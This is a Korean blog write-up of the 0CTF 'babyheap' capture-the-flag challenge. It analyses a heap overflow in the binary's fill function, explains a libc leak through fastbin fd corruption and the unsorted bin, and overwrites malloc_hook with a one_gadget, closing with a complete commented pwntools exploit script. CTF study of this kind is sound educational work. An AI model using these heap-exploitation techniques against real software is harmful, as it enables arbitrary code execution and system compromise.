1. mitigation
1 2 3 4 5 6 7 8 | juntae@ubuntu:~/ctf/0ctf/babyheap$ checksec babyheap [*] '/home/juntae/ctf/0ctf/babyheap/babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled juntae@ubuntu:~/ctf/0ctf/babyheap$ | cs |
미티게이션이 초록초록 하다. ㅠㅠ
2. anaysis
1 2 3 4 5 6 7 8 9 10 | if ( fd < 0 || read(fd, &buf, 0x10uLL) != 16 ) exit(-1); close(fd); addr = ((buf - 0x555555543000LL * ((0xC000000294000009LL * buf >> 64) >> 46) + 0x10000) & 0xFFFFFFFFFFFFF000LL); v3 = (v5 - 3712 * (0x8D3DCB08D3DCB0DLL * (v5 >> 7) >> 64)) & 0xFFFFFFFFFFFFFFF0LL; if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr ) exit(-1); return &addr[v3]; | cs |
일단 위에처럼 init에서 랜덤하게 addr를 매핑시키고, v3으로 주소를 return 시켜준다.
그 뒤로는 어느 힙문제처럼, 메뉴를 출력해준다!
1 2 3 4 5 6 7 8 9 | int sub_CF4() { puts("1. Allocate"); puts("2. Fill"); puts("3. Free"); puts("4. Dump"); puts("5. Exit"); return printf("Command: "); } | cs |
(1). Allocate
1 | allocate(maped_heapaddress); | cs |
매핑된 주소를 인자로 메모리를 할당해준다.
1 | v3 = calloc(v2, 1uLL); | cs |
메모리를 할당할때, calloc함수를 사용하는게 특이한 점이다.
calloc함수는 메모리를 할당하고, 모든 메모리를 0으로 초기화해준다.
이렇기때문에, UAF취약점은 사용하기 어렵다.
어차피 malloc하면 메모리공간이 전부 0이 되어버리니 ㅠㅠ..
(2) fill
1 | fill(maped_heapaddress); | cs |
마찬가지로 매핑된 주소를 바탕으로 fill을 실행한다.
fill에서는 지정한 인덱스에서 size를 입력받고, 그 사이즈만큼 메모리를 수정할 수 있다.
하지만, 사이즈를 입력받는것과, 메모리 수정에 제한이 없다.
따라서, Heap overflow가 발생한다.
chunk를 마음대로 수정할 수 있다!
(3) free
지정한 인덱스를 free해준다.
(4) dump
지정한 인덱스의 값을 보여준다.
정리해보면!
I. allocate
-size를 입력받고 그만큼 메모리를 할당해줌.
II. fill
-index를 입력함.
-size를 입력함.
-해당 index의 context를 size만큼 입력할 수 있음.
-여기서, size의 제한이 없어 heap overflow 가능.
III. free
-index를 입력받고 free해줌.
IV. dump
-index를 입력받고 내부의 값을 보여줌.
3. leak
1. fastchunk 4개 할당. (0~3)
2. smallchunk 1개 할당. (4)
3. index (1),(2) free
- (2)의 fd는 (1)을 가르킨다.
4. free된 (2)의 fd가 (4)를 가르키도록 1byte overflow 해준다.
- (0)을 fill해주어서 오버플로우한다.
5. (3)을 overflow 시켜서 (4)의 사이즈를 0x31로 바꾼다.
- (3)을 fill해주어서 바꾸자.
- 이렇게 되면, (4)는 fast chunk가 된다.
6. 2번 allocate한다.
- 두번째 allocate는 (4)의 주소를 가지고 있다.
- 4번에서 (2)의 fd를 (4)를 가르키게 했기 때문!
7. 5번에서 바꿨던 (4)의 사이즈를 다시 원래 사이즈로 돌려준다.
- small chunk로 맞춰주자.
8. small chunk하나를 allocate시켜주자.
- smallchunk (5)가 malloc 되었다.
- 이제 (4)를 free시켜도 (4)가 바로 사라지지 않는다.
8. (4)를 free시키자.
- 8번 과정에 의해서 (4)를 free하면 바로 사라지지 않고 unsorted bin으로 들어간다.
- 즉, (4)의 fd,bk는 main_arena + 88을 가르키게 된다.
9. (2)를 dump한다
- 6번에서 설명했듯이 두번째 allocate는 (4)의 주소를 가지고 있다.
- 즉, (2)를 dump하면 (4)의 메모리가 leak된다.
- 여기서 (4)는 main_arena + 88의 값을 가지고 있으므로, libc를 leak할 수 있다.
4. exploit
FULL RELRO라 got를 못덮는다.
그래서 우리는 malloc_hook을 이용할 것이다.
malloc은 malloc을 실행하기 전에, malloc_hook을 한번 거쳐간다.
그리고 malloc_hook에 값이 있다면, 그부분을 실행시킨다.
참고로, calloc도 malloc을 이용해서 할당하는것 과 같으므로, malloc_hook을 거쳐간다.
- calloc = malloc + 할당 공간만큼 0으로 memset
따라서 우리는 malloc_hook에 oneshot gadget의 주소를 넣어두면 된다.
1. 아무 크기나 allocate해준다.
- 비어있는 인덱스인 (4)에 들어간다.
2. (4)를 free해준다.
- (2)의 fd는 원래처럼 (4)를 가르키고 있는중이다.
3. target주소를 찾고, (2)를 fill해서 target주소를 넣는다.
- fastbin duplicate을 사용하기 위해서이다.
- 할당하고싶은 메모리(malloc_hook)근처에 fastbin(0x80 미만) size값을 찾는다.
- libc주소는 0x7f로 시작한다. = fastbin의 size이다.
- malloc_hook근처에 값을 할당해야 하므로 적당한 메모리공간을 찾는다.
- (malloc_hook - 35)부분이 적당해 보인다.
4. 2번 allocate해준다.
- 두번째 allocate는 target주소에 할당된다.
5. malloc_hook에 oneshot gadget을 덮는다.
- 6번을 fill해줘서 oneshot gadget을 덮으면 된다.
6. malloc에 성공한다.
- oneshot gadget이 실행되며, 쉘을 획득한다.
5. exploit code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 | from pwn import * libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") e = ELF("./babyheap") r = process("./babyheap") def allocate(size): r.sendlineafter("Command: ","1") r.sendlineafter("Size: ",str(size)) def fill(index,size,content): r.sendlineafter("Command: ","2") r.sendlineafter("Index: ",str(index)) r.sendlineafter("Size: ",str(size)) r.sendlineafter("Content: ",content) def free(index): r.sendlineafter("Command: ","3") r.sendlineafter("Index: ",str(index)) def dump(index): r.sendlineafter("Command: ","4") r.sendlineafter("Index: ",str(index)) main_arena = 0x3c4b20 one_gadget = 0x4526a allocate(0x20) #(0) malloc three fast chunk allocate(0x20) #(1) allocate(0x20) #(2) allocate(0x20) #(3) allocate(0x80) #(4) malloc one small chunk, beacause leak libc! #we have five chunk (0, 1, 2, 3, 4) free(1) free(2) #now, (2)'s fd = (1) #we have three chunk (0, X, X, 3, 4) payload = p64(0) * 5 payload += p64(0x31) payload += p64(0) * 5 payload += p64(0x31) payload += p8(0xc0) fill(0, len(payload), payload) #now, (2)'s fd = (4) payload = p64(0) * 5 payload += p64(0x31) fill(3, len(payload), payload) #now, (4)'s size = 0x31 -> fast chunk !! allocate(0x20) #(1) allocate(0x20) #(2) = (4)'s address #we have five chunk (0, 1, 2, 3, 4) payload = p64(0) * 5 payload += p64(0x91) fill(3, len(payload), payload) #back original size, 0x91 !! allocate(0x80) #(5) one more smallchunk #we have six chunk (0, 1, 2, 3, 4, 5) free(4) #now, (4) is unsortedbin -> (4)'s fd,bk = (main_arena + 88) #we have five chunk (0, 1, 2, 3, X, 5) dump(2) #dump (4)'s fd,bk = (main_arena + 88) leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00") libc_base = leak - (main_arena + 88) log.info("leak data(main_arena + 88) : " + hex(leak)) log.info("libc base : " + hex(libc_base)) allocate(0x68) #malloc (4) with any size! #we have six chunk (0, 1, 2, 3, 4, 5) free(4) #now, (2)'s fd = (4) target = 0x3c4b10 - 35 #malloc_hook - 35, size = 0x7f fill(2,8,p64(libc_base + target)) #we have five chunk (0, 1, 2, 3, X, 5) allocate(0x60) #(4) allocate(0x60) #(6), (6) pointing to (malloc_hook - 35) #we have seven chunk (0, 1, 2, 3, 4, 5, 6) payload = "\x00" * 3 payload += p64(0) * 2 payload += p64(libc_base + one_gadget) fill(6, len(payload), payload) allocate("123") #if malloc success, we can get shell! r.interactive() | cs |
나도 공부하면서 익스코드 찐거라 주석이 오지게많다.
주석에 설명 나름 빡시게해뒀으니 참고하시면 좋아요!
틀린 내용 있으면 댓글 달아주세요!
'System Hacking ( pwnable ) > CTF Write-up' 카테고리의 다른 글
[hackingcamp] bofforever ( write-up ) (0) | 2019.08.25 |
---|---|
[SSTF] bofsb ( write-up ) (0) | 2019.08.20 |
[HITCON] Sleepy Holder ( write-up ) (0) | 2019.08.04 |
[Rctf] Rnote ( write-up ) (0) | 2019.08.02 |
[PlaidCTF] ropasaurusrex ( write-up ) (0) | 2019.04.14 |